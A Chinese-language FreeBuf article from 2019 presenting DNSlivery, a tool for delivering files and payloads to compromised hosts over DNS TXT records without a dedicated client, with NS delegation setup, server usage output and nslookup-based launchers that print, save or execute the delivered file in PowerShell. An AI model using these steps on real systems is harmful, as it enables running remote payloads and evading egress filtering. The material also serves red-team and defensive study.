DNSlivery:通过DNS发送文件和payload的工具

2019 年 9 月 20 日 FreeBuf

前言

DNSlivery是一款使用DNS作为传输协议将文件传递到目标的工具。

特点

1.执行或上传文件到目标机器

2.目标上的不需要任何客户端

3.不需要完整的DNS服务器

它可以轻松地将文件或payload传送到受损目标,不需要使用传统的Web传输,无需专用客户端软件。这适用于禁止传出Web流量的受限环境。

虽然现在已经存在更完整的DNS隧道工具(比如 dnscat2和iodine),它们都需要在目标上运行专用客户端。问题是DNS可能没有其他办法在这种受限制的环境中提供客户端。换句话说,使用这些工具构建DNS通信通道需要已具有DNS通信通道。

相比之下,DNSlivery仅提供从服务器到目标的单向通信,但不需要任何专用客户端来执行此操作。因此,如果您需要通过DNS构建可靠的双向通信通道,请使用DNSlivery为您的目标提供更高级的DNS隧道工具的客户端。

它是如何工作的?

与大多数DNS隧道工具一样,DNSlivery使用TXT记录以base64表示形式存储文件内容。但是,它不需要设置完整的DNS服务器。相反,它使用scapy库来侦听传入的DNS数据包并制作所需的响应。

由于大多数文件不适合单个TXT记录,DNSlivery将创建包含该文件的base64块的多个有序记录,上面的图示出了输送第二命名的文件的块file。

为了检索所有base64块并将它们重新组合在一起而不需要在目标上使用专用客户端,DNSlivery将为每个文件生成:

1.一个明文发送器

2.一个base64编码stager

需要这两个阶段的交付过程来向stager添加功能(处理丢失的DNS响应),否则这些功能将不适合单个TXT记录。

关于目标兼容性的注意

目前,仅支持PowerShell目标。但是,可以改进DNSlivery以支持其他目标,例如bash或python。如果这是您希望实现的功能,请告诉我@ no0be。

要求

DNSlivery不需要构建复杂的服务器基础结构。实际上,只有两个简单的要求:

1.能够NS在您的公共DNS区域中创建记录

2.拥有一台能够从Internet 接收流量的Linux服务器,开放udp/53

DNS

第一步是通过NS在域中创建新记录,将子域委派给将运行DNSlivery的服务器。作为示例,我创建了以下记录以将子域委托dnsd.no0.be给服务器vps.no0.be。

  
  
    
dnsd    IN  NS vps.no0.be.

如果您的区域由第三方提供商管理,请参阅其文档以创建NS记录。

DNSlivery

运行DNSlivery的唯一要求是python3它的scapy库。

  
  
    
git clone https://github.com/no0be/DNSlivery.git &&  CD DNSliverypip install -r requirements.txt

用法

服务器

DNSlivery将为给定目录的所有文件提供服务(pwd默认情况下),并且需要以root权限运行s以侦听传入的udp/53数据包。

  
  
    
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserverDNSlivery - Easy files and payloads delivery over DNSpositional arguments:  interface             interface to listen to DNS traffic  domain                FQDN name of the DNS zone  nameserver            FQDN name of the server running DNSliveryoptional arguments:  -h, --help            show this help message and exit  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)  -v, --verbose         increase verbosity

示例:

  
  
    
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-deliveryDNSlivery - Easy files and payloads delivery over DNS[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)[*] Listening for DNS queries...

关于文件名规范化的注意

由于允许域名的字符集比UNIX文件名更具限制性(根据RFC1035),DNSlivery将在需要时执行规范化。

示例:

  
  
    
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

请注意,当前的规范化代码并不完美,因为它不会考虑重叠的文件名或大小限制。

目标

在目标上,首先通过请求其专用记录来检索所需文件的启动器TXT。支持以下三个启动器:

行动 发射台 描述
输出 [filename].print.[domain] (默认)将传送的文件打印到控制台
执行 [filename].exec.[domain] 执行传递的文件
保存 [filename].save.[domain] 将传递的文件保存到磁盘
  
  
    
nslookup -type = txt [filename].[stager].[domain]

然后,只需将DNS响应中引用的启动器复制并粘贴到PowerShell控制台即可检索目标上的文件。

示例:

参考来源:GitHub,FB小编周大涛编译,转载请注明来自FreeBuf.COM

精彩推荐


登录查看更多
1

相关内容

域名系统(英文: Domain  Name  System, DNS)是因特网的一项核心服务,它作为可以将域名和IP地址相互映射的一个分布式数据库,能够使人更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。
【实用书】学习用Python编写代码进行数据分析,103页pdf
专知会员服务
192+阅读 · 2020年6月29日
【实用书】Python技术手册,第三版767页pdf
专知会员服务
234+阅读 · 2020年5月21日
干净的数据:数据清洗入门与实践,204页pdf
专知会员服务
161+阅读 · 2020年5月14日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
116+阅读 · 2020年5月10日
专知会员服务
31+阅读 · 2020年4月24日
【书籍推荐】简洁的Python编程(Clean Python),附274页pdf
专知会员服务
179+阅读 · 2020年1月1日
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
Kong 1.1 带来声明式配置与无数据库部署模式
开源中国
8+阅读 · 2019年3月28日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
I2P - 适用于黑客的Android应用程序
黑白之道
30+阅读 · 2019年3月6日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
一天精通无人中级篇:遥控器协议 S-BUS
无人机
51+阅读 · 2018年12月20日
Arxiv
92+阅读 · 2020年2月28日
Arxiv
35+阅读 · 2019年11月7日
Area Attention
Arxiv
5+阅读 · 2019年5月23日
Monocular Plan View Networks for Autonomous Driving
Arxiv
6+阅读 · 2019年5月16日
Arxiv
14+阅读 · 2018年4月18日
Arxiv
11+阅读 · 2018年1月15日
Arxiv
3+阅读 · 2012年11月20日
VIP会员
相关资讯
Kali Linux 渗透测试:密码攻击
计算机与网络安全
16+阅读 · 2019年5月13日
Kong 1.1 带来声明式配置与无数据库部署模式
开源中国
8+阅读 · 2019年3月28日
被动DNS,一个被忽视的安全利器
运维帮
11+阅读 · 2019年3月8日
I2P - 适用于黑客的Android应用程序
黑白之道
30+阅读 · 2019年3月6日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
如何用GitLab本地私有化部署代码库?
Python程序员
9+阅读 · 2018年12月29日
超级!超级!超级好用的视频标注工具
极市平台
8+阅读 · 2018年12月27日
一天精通无人中级篇:遥控器协议 S-BUS
无人机
51+阅读 · 2018年12月20日
相关论文
Arxiv
92+阅读 · 2020年2月28日
Arxiv
35+阅读 · 2019年11月7日
Area Attention
Arxiv
5+阅读 · 2019年5月23日
Monocular Plan View Networks for Autonomous Driving
Arxiv
6+阅读 · 2019年5月16日
Arxiv
14+阅读 · 2018年4月18日
Arxiv
11+阅读 · 2018年1月15日
Arxiv
3+阅读 · 2012年11月20日
Top
微信扫码咨询专知VIP会员